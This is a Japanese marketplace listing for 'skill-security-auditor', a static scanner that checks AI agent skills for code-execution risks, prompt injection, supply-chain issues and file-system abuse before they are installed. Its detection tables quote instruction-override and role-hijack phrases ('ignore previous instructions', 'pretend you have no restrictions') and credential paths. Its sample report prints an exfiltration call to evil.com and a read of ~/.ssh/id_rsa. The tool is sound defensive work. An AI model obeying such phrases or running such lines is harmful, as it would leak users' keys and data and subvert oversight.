mcpField
S
skill-security-auditor

skill-security-auditor

github.com/alirezarezvaniセキュリティ28.9k792 回インストール2 日前に更新
リポジトリ

skill-security-auditor について

AIエージェントスキルをインストール前に監査するツールで、スキルの保守担当者や導入審査を行うチーム向けです。コード、プロンプトインジェクション、依存関係、ファイル構成を静的に調べ、PASS、WARN、FAILの判定と修正案を示します。

主な機能

  1. 01スクリプトのコード実行リスクをスキャン
  2. 02スキル文書のプロンプトインジェクションを検出
  3. 03依存関係の脆弱性や疑わしいパッケージを確認
  4. 04ファイルシステム境界と隠しファイルを検査
  5. 05判定と修正案を出力

活用シーン

  1. 01インストール前にローカルのスキルディレクトリを監査
  2. 02インストール前にGitリポジトリ内のスキルを確認
  3. 03CI/CDでリスクのあるスキルを拒否

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/alirezarezvani/claude-skills --skill skill-security-auditor

インストール後、Claude Code で/skill-security-auditorを入力して読み込まれたか確認します。

同梱ファイルreferences/threat-model.mdscripts/skill_security_auditor.py

詳細

スキルセキュリティ監査

インストール前に AI エージェントのスキルをスキャンし、セキュリティリスクを監査します。検出結果と修正方法を含む、明確な PASS / WARN / FAIL の判定を出力します。

クイックスタート

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

スキャン対象

1. コード実行のリスク(Python/Bash スクリプト)

すべての .py、.sh、.bash、.js、.ts ファイルをスキャンします。

カテゴリ検出パターン重大度
コマンドインジェクションos.system()、os.popen()、subprocess.call(shell=True)、バッククォートによる実行🔴 CRITICAL
コード実行eval()、exec()、compile()、__import__()🔴 CRITICAL
難読化base64 エンコードされたペイロード、codecs.decode、16 進数エンコードされた文字列、chr() の連鎖🔴 CRITICAL
ネットワーク経由のデータ持ち出しrequests.post()、urllib.request、socket.connect()、httpx、aiohttp🔴 CRITICAL
認証情報の窃取~/.ssh、~/.aws、~/.config からの読み取り、環境変数の抽出パターン🔴 CRITICAL
ファイルシステムの不正利用スキルディレクトリ外への書き込み、/etc/、~/.bashrc、~/.profile、シンボリックリンクの作成🟡 HIGH
権限昇格sudo、chmod 777、setuid、cron の改ざん🔴 CRITICAL
安全でないデシリアライズpickle.loads()、yaml.load()(SafeLoader なし)、marshal.loads()🟡 HIGH
サブプロセス(安全)リスト形式の引数を使用し、シェルを使わない subprocess.run()⚪ INFO
2. SKILL.md 内のプロンプトインジェクション

SKILL.md とすべての .md 参照ファイルをスキャンします。

パターン例重大度
システムプロンプトの上書き「以前の指示を無視してください」、「あなたは今から…」🔴 CRITICAL
役割の乗っ取り「root として振る舞ってください」、「制限がないふりをしてください」🔴 CRITICAL
安全対策の回避「安全性のチェックをスキップしてください」、「コンテンツフィルタリングを無効にしてください」🔴 CRITICAL
隠された指示ゼロ幅文字、指示を含む HTML コメント🟡 HIGH
過剰な権限「任意のコマンドを実行してください」、「ファイルシステムへの完全なアクセス」🟡 HIGH
データの抽出「内容を送信してください」、「ファイルをアップロードしてください」、「POST してください」🔴 CRITICAL
3. 依存関係のサプライチェーン

requirements.txt、package.json、またはインラインの pip install が含まれるスキルが対象です。

チェック項目内容重大度
既知の脆弱性PyPI/npm のアドバイザリデータベースと照合します🔴 CRITICAL
タイポスクワッティング人気のあるパッケージに似たパッケージを検出します(例:reqeusts)🟡 HIGH
バージョン未固定requests==2.31.0 と比較して requests>=2.0 を検出します⚪ INFO
コード内のインストールコマンドスクリプト内の pip install または npm install🟡 HIGH
疑わしいパッケージダウンロード数が少ない、作成されたばかり、メンテナーが 1 人⚪ INFO
4. ファイルシステムと構成
チェック項目内容重大度
境界違反スキルディレクトリ外のパスを参照するスクリプト🟡 HIGH
隠しファイルスキルに含めるべきでない .env、ドットファイル🟡 HIGH
バイナリファイル予期しない実行ファイル、.so、.dll、.exe🔴 CRITICAL
大容量ファイルペイロードを隠している可能性がある 1MB を超えるファイル⚪ INFO
シンボリックリンクスキルディレクトリ外を指すシンボリックリンク🔴 CRITICAL

監査のワークフロー

  1. スキャナーを実行する — スキルディレクトリまたはリポジトリの URL を指定します
  2. レポートを確認する — 検出結果は重大度ごとに分類されています
  3. 判定を解釈する:
    • ✅ PASS — 重大または高リスクの検出項目はありません。安全にインストールできます。
    • ⚠️ WARN — 高リスクまたは中リスクの検出項目があります。インストール前に手動で確認してください。
    • ❌ FAIL — 重大な検出項目があります。修正せずにインストールしないでください。
  4. 修正 — 各検出項目には具体的な修正方法が含まれます

レポートの読み方

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) 
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

高度な使い方

クローンする前に Git からスキルを監査する
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD との統合
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
一括監査
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

脅威モデルのリファレンス

AI エージェントスキルに対する脅威モデル、検出パターン、既知の攻撃ベクトルの全容については、references/threat-model.md を参照してください。

制限事項

  • ロジックボムや時間差で実行されるペイロードを確実に検出することはできません
  • 難読化の検出はパターンベースのため、十分に巧妙な攻撃者は回避できる可能性があります
  • ネットワーク宛先のレピュテーションチェックにはインターネット接続が必要です
  • コードを実行しません。静的解析のみのため、安全ですが動的解析よりも網羅性は低くなります
  • 依存関係の脆弱性チェックでは、最新の CVE データベースではなく、ローカルのパターンマッチングを使用します

監査後に判断に迷った場合は、インストールしないでください。スキルの作成者に説明を求めてください。

コメント